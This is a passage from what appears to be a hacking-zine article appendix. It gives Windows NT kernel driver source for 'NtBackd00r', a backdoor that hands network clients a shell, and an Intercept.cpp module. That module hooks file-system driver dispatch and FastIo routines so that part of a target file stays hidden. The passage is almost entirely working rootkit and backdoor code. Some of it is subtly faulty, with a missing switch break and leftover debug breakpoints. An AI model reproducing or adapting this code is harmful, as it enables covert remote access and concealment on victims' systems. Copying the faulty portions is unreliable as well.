#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
        pWorkItemDesc->WorkItemCanceled=false;
        pWorkItemDesc->thiz=this;
        pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice);
        if (!pWorkItemDesc->WorkItem) return FALSE;
        //To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
        IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc);
#undef pWorkItemDesc        

        // Add this object to the session list maintained by the driver
        p->m_ActiveSessionList.InsertTail(this);
        
        UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
    return TRUE;
}

void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
{
        
    dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);
        
        UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);
}

Session::~Session()
{
        // obtain a pointer to the KDriver derived class
        NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
        ASSERT(p);
        // Remove this object from the session list maintained by the driver
        p->m_ActiveSessionList.Remove(this);
        
        //Set flas, that make thread to terminate
        m_Pipes->Terminating = true;
        //To not wait for yesterday in OnUnload
        hDataPumpThread = NULL;
        //Set event "let's finish"
        if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
        
        //If WorkItem works, notify it about termination
        if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;
        
        delete pWBytePipe;
}

uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
                                                uchar **RcvBuffer, uint* RcvBufferLen)
{
        // Received some data from the client peer.
        
        //If all required pointers and handles are valid
        if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
        {
                //Write that data to FIFO
                pWBytePipe->LockedWrite(Data, Indicated);
                //And notify DataPumpThread
                ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
        }
        

        // Now, if the transport has more data available than indicated,
        // allocate another buffer to read the rest. When the transport
        // done with it - asynchronously - our OnReceiveComplete() handler
        // is called. Note that failure to submit a buffer supressed further
        // recieve indications - until and if a recv() is issued.
        
        if (Indicated < Available) {
                *RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated];
        }
        
    return Indicated;
}

void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
{
    // Our send request has completed. Free the buffer
        
        if (status != TDI_SUCCESS)
        dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
        //free the buffer
        delete ((uchar*)buf);
        
        UNREFERENCED_PARAMETER(bytecnt);
}

void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
{
        // Buffer for the partially indicated data allocated and submitted during
        // OnReceive() processing is filled in by the transport.
        
    if (status == TDI_SUCCESS) {
                if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
                {
                        //Write that data to FIFO
                        pWBytePipe->LockedWrite(Data, Indicated);
                        //And notify DataPumpThread
                        ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
                }
        } else
        dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
        
        if (status != TDI_PENDING)
                delete Data;
}

// end of file


---[ 8.10 - Intercept.cpp

//This module hooks:
// IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION,
// IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL,
// FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE)
//to hide first N bytes of given file

extern "C" {
#include <ntddk.h>
}
#pragma hdrstop("InterceptIO.pch")

/////////////////////////////////////////////////////////////////////
// Undocumented structures missing in ntddk.h

typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6
    LARGE_INTEGER FileId;
} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;

typedef struct _FILE_EA_INFORMATION { // Information Class 7
    ULONG EaInformationLength;
} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;

typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8
    ACCESS_MASK GrantedAccess;
} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;

typedef struct _FILE_MODE_INFORMATION { // Information Class 16
    ULONG Mode;
} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;

typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19
    LARGE_INTEGER AllocationSize;
} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;

typedef struct _FILE_DIRECTORY_INFORMATION {
        ULONG NextEntryOffset;
        ULONG FileIndex;
        LARGE_INTEGER CreationTime;
        LARGE_INTEGER LastAccessTime;
        LARGE_INTEGER LastWriteTime;
        LARGE_INTEGER ChangeTime;
        LARGE_INTEGER EndOfFile;
        LARGE_INTEGER AllocationSize;
        ULONG FileAttributes;
        ULONG FileNameLength;
        WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_ALL_INFORMATION { // Information Class 18
    FILE_BASIC_INFORMATION BasicInformation;
    FILE_STANDARD_INFORMATION StandardInformation;
    FILE_INTERNAL_INFORMATION InternalInformation;
    FILE_EA_INFORMATION EaInformation;
    FILE_ACCESS_INFORMATION AccessInformation;
    FILE_POSITION_INFORMATION PositionInformation;
    FILE_MODE_INFORMATION ModeInformation;
    FILE_ALIGNMENT_INFORMATION AlignmentInformation;
    FILE_NAME_INFORMATION NameInformation;
} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;

typedef struct tag_QUERY_DIRECTORY
{
  ULONG Length;
  PUNICODE_STRING FileName;
  FILE_INFORMATION_CLASS FileInformationClass;
  ULONG FileIndex;
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;

#pragma pack(push, 4)

typedef struct tag_FQD_SmallCommonBlock
{
  ULONG   NextEntryOffset;
  ULONG   FileIndex;
} FQD_SmallCommonBlock, *PFQD_SmallCommonBlock;

typedef struct tag_FQD_FILE_ATTR
{
  TIME    CreationTime;
  TIME    LastAccessTime;
  TIME    LastWriteTime;
  TIME    ChangeTime;
  LARGE_INTEGER EndOfFile;
  LARGE_INTEGER AllocationSize;
  ULONG   FileAttributes;
} FQD_FILE_ATTR, *PFQD_FILE_ATTR;

typedef struct tag_FQD_CommonBlock
{
  FQD_SmallCommonBlock SmallCommonBlock;
  FQD_FILE_ATTR        FileAttr;
  ULONG                FileNameLength;
} FQD_CommonBlock, *PFQD_CommonBlock;

typedef struct _KFILE_DIRECTORY_INFORMATION
{
  FQD_CommonBlock CommonBlock;

  WCHAR  FileName[ANYSIZE_ARRAY];
} KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;

typedef struct _KFILE_FULL_DIR_INFORMATION
{
  FQD_CommonBlock CommonBlock;

  ULONG  EaSize;
  WCHAR  FileName[ANYSIZE_ARRAY];
} KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;

typedef struct _KFILE_BOTH_DIR_INFORMATION
{
  FQD_CommonBlock CommonBlock;

  ULONG  EaSize;
  USHORT ShortFileNameLength;
  WCHAR  ShortFileName[12];
  WCHAR  FileName[ANYSIZE_ARRAY];
} KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION;

#pragma pack(pop)

/////////////////////////////////////////////////////////////////////
// Global variables
PDRIVER_OBJECT      pDriverObject;
PDRIVER_DISPATCH        OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp;
PFAST_IO_READ                OldFastIoReadDisp;
PFAST_IO_WRITE                OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO        OldFastIoQueryStandartInfoDisp;

//Size of our file's Invisible Part (in bytes)
ULONG InvisiblePartSize = 10;
//File, part of which we want to hide
wchar_t OurFileName[] = L"testing.fil";

//Size of OurFileName in bytes, excluding null terminator
ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t);


/////////////////////////////////////////////////////////////////////
// Functions

//Function returns true if FN matches OurFileName
bool ThisIsOurFile(PUNICODE_STRING FN)
{
        return ((FN->Buffer) &&
                (FN->Length >= OurFileNameLen) &&
                _wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen),
                OurFileName, OurFileNameLen/2)==0);
}

//Structure used to track IRPs which completion must be handled
struct s_ComplRtnTrack
{
        PIO_COMPLETION_ROUTINE CompletionRoutine;
        PVOID Context;
        //When CompletionRoutine is called, flags corresponds to InvokeOn*
        UCHAR Control;
        PIO_STACK_LOCATION CISL;
        FILE_INFORMATION_CLASS FileInformationClass;
        PVOID Buffer;
};

//Function set new CompletionRoutine, InvokeOnSuccess flag,
//and copies original fields to Context
void HookIrpCompletion(PIO_STACK_LOCATION CISL,
                                           PIO_COMPLETION_ROUTINE CompletionRoutine,
                                           PVOID Buffer,
                                           FILE_INFORMATION_CLASS FileInformationClass)
{
        s_ComplRtnTrack* NewContext =
                (s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack));
        NewContext->CompletionRoutine = CISL->CompletionRoutine;
        NewContext->Context = CISL->Context;
        NewContext->Control = CISL->Control;
        NewContext->CISL = CISL;
        //Since CISL.Parameters unavailabile in IrpCompletion handler,
        //let's save all necessary data in Context structure
        NewContext->FileInformationClass = FileInformationClass;
        NewContext->Buffer = Buffer;
        CISL->CompletionRoutine = CompletionRoutine;
        CISL->Context = NewContext;
        CISL->Control |= SL_INVOKE_ON_SUCCESS;
}

//Function handles IRP completion
NTSTATUS NewComplRtn (
                                          IN PDEVICE_OBJECT DeviceObject,
                                          IN PIRP Irp,
                                          s_ComplRtnTrack* CXT)
{
        //Handle different types of IRP
        switch (CXT->CISL->MajorFunction)
        {
        case IRP_MJ_QUERY_INFORMATION:
                _asm int 3;
                //ThisIsOurFile is already tested
                switch (CXT->FileInformationClass)
                {
                        //In all cases modify CurrentByteOffset and/or size (EndOfFile)
                        //to hide first InvisiblePartSize bytes
                case FilePositionInformation:
                        ((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.QuadPart -= InvisiblePartSize;
                        break;
                case FileEndOfFileInformation:
                        ((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
                        break;
                case FileStandardInformation:
                        ((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
                        break;
                case FileAllocationInformation:
                        ((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadPart -= InvisiblePartSize;
                        break;
                case FileAllInformation:
                        ((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.CurrentByteOffset.QuadPart -= InvisiblePartSize;
                        ((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFile.QuadPart -= InvisiblePartSize;
                        break;
                }
        case IRP_MJ_DIRECTORY_CONTROL:
                //Get a pointer to first directory entries
                PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer;
                //Cycle through directory entries
                while (1)
                {
                        PWCHAR pFileName = 0;
                        ULONG dwFileNameLength = 0;
                        switch (CXT->FileInformationClass)
                        {
                                //In all cases get pointer to FileName and FileNameLength
                        case FileDirectoryInformation:
                                dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->FileName;
                                break;
                        case FileFullDirectoryInformation:
                                dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->FileName;
                                break;
                        case FileBothDirectoryInformation:
                                dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->FileName;
                                break;
                        }
                        //_asm int 3;
                        //Is this file that we want?
                        if ((dwFileNameLength == OurFileNameLen) &&
                                _wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0)
                        {
                                //_asm int 3;
                                //Hide first InvisiblePartSize bytes
                                ((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.QuadPart -= InvisiblePartSize;
                                break;
                        }
                        //Quit if no more directory entries
                        if (!pQueryDirWin32->NextEntryOffset) break;
                        //Continue with next directory entry
                        pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 + pQueryDirWin32->NextEntryOffset);
                }
                
        }
        //If appropriate Control flag was set,...
        if (
                ((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status)))
                || ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status)))
                || ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status == STATUS_CANCELLED)) )
                //...call original CompletionRoutine
                return CXT->CompletionRoutine(
                DeviceObject,
                Irp,
                CXT->Context);
        else return STATUS_SUCCESS;
}

//Filename IRP handler deal with
#define FName &(CISL->FileObject->FileName)

//Function handles IRP_MJ_READ and IRP_MJ_WRITE
NTSTATUS NewReadWriteDisp (
                                                   IN PDEVICE_OBJECT DeviceObject,
                                                   IN PIRP Irp)
{
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
        if (CISL->FileObject &&
                //Don't mess with swaping
                !(Irp->Flags & IRP_PAGING_IO)  && !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_IO))
        {
                if (ThisIsOurFile(FName))
                {
                        //_asm int 3;
                        CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize;
                        //Write and Read has the same structure, thus handled together
                }
        }
        //Call corresponding original handler
        switch (CISL->MajorFunction)
        {
        case IRP_MJ_READ:
                return OldReadDisp(DeviceObject, Irp);
        case IRP_MJ_WRITE:
                return OldWriteDisp(DeviceObject, Irp);
        }
}

//Function handles IRP_MJ_QUERY_INFORMATION
NTSTATUS NewQueryDisp (
                                           IN PDEVICE_OBJECT DeviceObject,
                                           IN PIRP Irp)
{
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);        
        if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) &&
                ThisIsOurFile(FName))
        {
                //_asm int 3;
                switch (CISL->Parameters.QueryFile.FileInformationClass)
                {
                        //Information types that contains file size or current offset
                case FilePositionInformation:
                case FileEndOfFileInformation:
                case FileStandardInformation:
                case FileAllocationInformation:
                case FileAllInformation:
                        //_asm int 3;
                        HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp->AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformationClass);
                }
        }
        //Call original handler
        return OldQueryDisp(DeviceObject, Irp);
}

//Function handles IRP_MJ_SET_INFORMATION
NTSTATUS NewSetInfoDisp (
                                                 IN PDEVICE_OBJECT DeviceObject,
                                                 IN PIRP Irp)
{
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);        
        if (CISL->FileObject && ThisIsOurFile(FName))
        {
                //_asm int 3;
                switch (CISL->Parameters.QueryFile.FileInformationClass)
                {
                        //Information types that contains file size or current offset.
                        //In all cases modify CurrentByteOffset and/or size (EndOfFile)
                        //to hide first InvisiblePartSize bytes
                case FilePositionInformation:
                        ((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart += InvisiblePartSize;
                        break;
                case FileEndOfFileInformation:
                        ((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
                        break;
                case FileStandardInformation:
                        ((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
                        break;
                case FileAllocationInformation:
                        //_asm int 3;
                        ((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart += InvisiblePartSize;
                        break;
                case FileAllInformation:
                        ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize;
                        ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart += InvisiblePartSize;
                        break;
                }
        }
        //Call original handler
        return OldSetInfoDisp(DeviceObject, Irp);
}

//Function handles IRP_MJ_DIRECTORY_CONTROL
NTSTATUS NewDirCtlDisp (
                                                 IN PDEVICE_OBJECT DeviceObject,
                                                 IN PIRP Irp)
{
        void *pBuffer;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);        
//_asm int 3;
        if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
                (CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY))
        {
                //Handle both ways of passing user supplied buffer
                if (Irp->MdlAddress)
                        pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress);
                else
                        pBuffer = Irp->UserBuffer;
                HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((PQUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass);
        }
        //Call original handler
        return OldDirCtlDisp(DeviceObject, Irp);
}

#undef FName

//Function handles FastIoRead
BOOLEAN NewFastIoRead(
    IN PFILE_OBJECT FileObject,
    IN PLARGE_INTEGER FileOffset,
    IN ULONG Length,
    IN BOOLEAN Wait,
    IN ULONG LockKey,
    OUT PVOID Buffer,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN PDEVICE_OBJECT DeviceObject
    )
{
        LARGE_INTEGER NewFileOffset;
        //_asm int 3;
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
        {
                //_asm int 3;
                //Modify FileOffset to hide first InvisiblePartSize bytes
                NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
                return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
                        IoStatus, DeviceObject);
        }
        //Call original handler
        return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                IoStatus, DeviceObject);
}

//Function handles FastIoWrite
BOOLEAN NewFastIoWrite(
                                           IN PFILE_OBJECT FileObject,
                                           IN PLARGE_INTEGER FileOffset,
                                           IN ULONG Length,
                                           IN BOOLEAN Wait,
                                           IN ULONG LockKey,
                                           OUT PVOID Buffer,
                                           OUT PIO_STATUS_BLOCK IoStatus,
                                           IN PDEVICE_OBJECT DeviceObject
                                           )
{
        LARGE_INTEGER NewFileOffset;
        //_asm int 3;
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
        {
                //_asm int 3;
                //Modify FileOffset to hide first InvisiblePartSize bytes
                NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
                return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
                        IoStatus, DeviceObject);
        }
        return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                IoStatus, DeviceObject);
}

//Function handles FastIoQueryStandartInfo
BOOLEAN NewFastIoQueryStandartInfo(
                                                                IN struct _FILE_OBJECT *FileObject,
                                                                IN BOOLEAN Wait,
                                                                OUT PFILE_STANDARD_INFORMATION Buffer,
                                                                OUT PIO_STATUS_BLOCK IoStatus,
                                                                IN struct _DEVICE_OBJECT *DeviceObject
                                                                )
{
        //Call original handler
        BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatus, DeviceObject);
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
        {
                //_asm int 3;
                //Modify EndOfFile to hide first InvisiblePartSize bytes
                Buffer->EndOfFile.QuadPart -= InvisiblePartSize;
        }
        return status;
}

extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
                                                IN PUNICODE_STRING ObjectPath,
                                                IN ULONG Attributes,
                                                IN PACCESS_STATE PassedAccessState OPTIONAL,
                                                IN ACCESS_MASK DesiredAccess OPTIONAL,
                                                IN POBJECT_TYPE ObjectType,
                                                IN KPROCESSOR_MODE AccessMode,
                                                IN OUT PVOID ParseContext OPTIONAL,
                                                OUT PVOID *ObjectPtr
                                                );  

extern "C" PVOID IoDriverObjectType;

//Function hooks given dispatch function (MajorFunction)
VOID InterceptFunction(UCHAR MajorFunction,
                                           PDRIVER_OBJECT  pDriverObject,
                                           OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr,
                                           OPTIONAL PDRIVER_DISPATCH NewFunctionPtr)
{
        PDRIVER_DISPATCH                                *TargetFn;
        
        TargetFn = &(pDriverObject->MajorFunction[MajorFunction]);
        //hook only if handler exists
        if (*TargetFn)
        {
                if (OldFunctionPtr) *OldFunctionPtr = *TargetFn;
                if (NewFunctionPtr) *TargetFn = NewFunctionPtr;
        }
}

//Function hooks given driver's dispatch functions
NTSTATUS Intercept(PWSTR pwszDeviceName)
{
        UNICODE_STRING                DeviceName;
        NTSTATUS status;
        KIRQL OldIrql;
        
        _asm int 3;
        
        pDriverObject = NULL;
        RtlInitUnicodeString(&DeviceName, pwszDeviceName);
        status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject);
        if (pDriverObject)
        {
                //Raise IRQL to avoid context switch
                //when some pointer is semi-modified
                KeRaiseIrql(HIGH_LEVEL, &OldIrql);
                //hook dispatch functions
                InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteDisp);
                InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWriteDisp);
                InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp, NewQueryDisp);
                InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp, NewSetInfoDisp);
                InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp, NewDirCtlDisp);
                //hook FastIo dispatch functions if FastIo table exists
                if (pDriverObject->FastIoDispatch)
                {
                        //     w2k [rus]
                        //It would be better to copy FastIo table to avoid
                        //messing with kernel memory protection, but it works as it is
                        OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead;
                        pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead;
                        OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite;
                        pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite;
                        OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDispatch->FastIoQueryStandardInfo;
                        pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = NewFastIoQueryStandartInfo;
                }
                KeLowerIrql(OldIrql);
        }
        
        return status;
}

//Function cancels hooking
VOID UnIntercept()
{
        KIRQL OldIrql;
        if (pDriverObject)
        {
                KeRaiseIrql(HIGH_LEVEL, &OldIrql);
                InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp);
                InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp);
                InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQueryDisp);
                InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfoDisp);
                InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCtlDisp);
                if (pDriverObject->FastIoDispatch)
                {
                        pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp;
                        pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp;
                        pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = OldFastIoQueryStandartInfoDisp;
                }
                KeLowerIrql(OldIrql);
                ObDereferenceObject(pDriverObject);
        }
}

|=[ EOF ]=---------------------------------------------------------------=|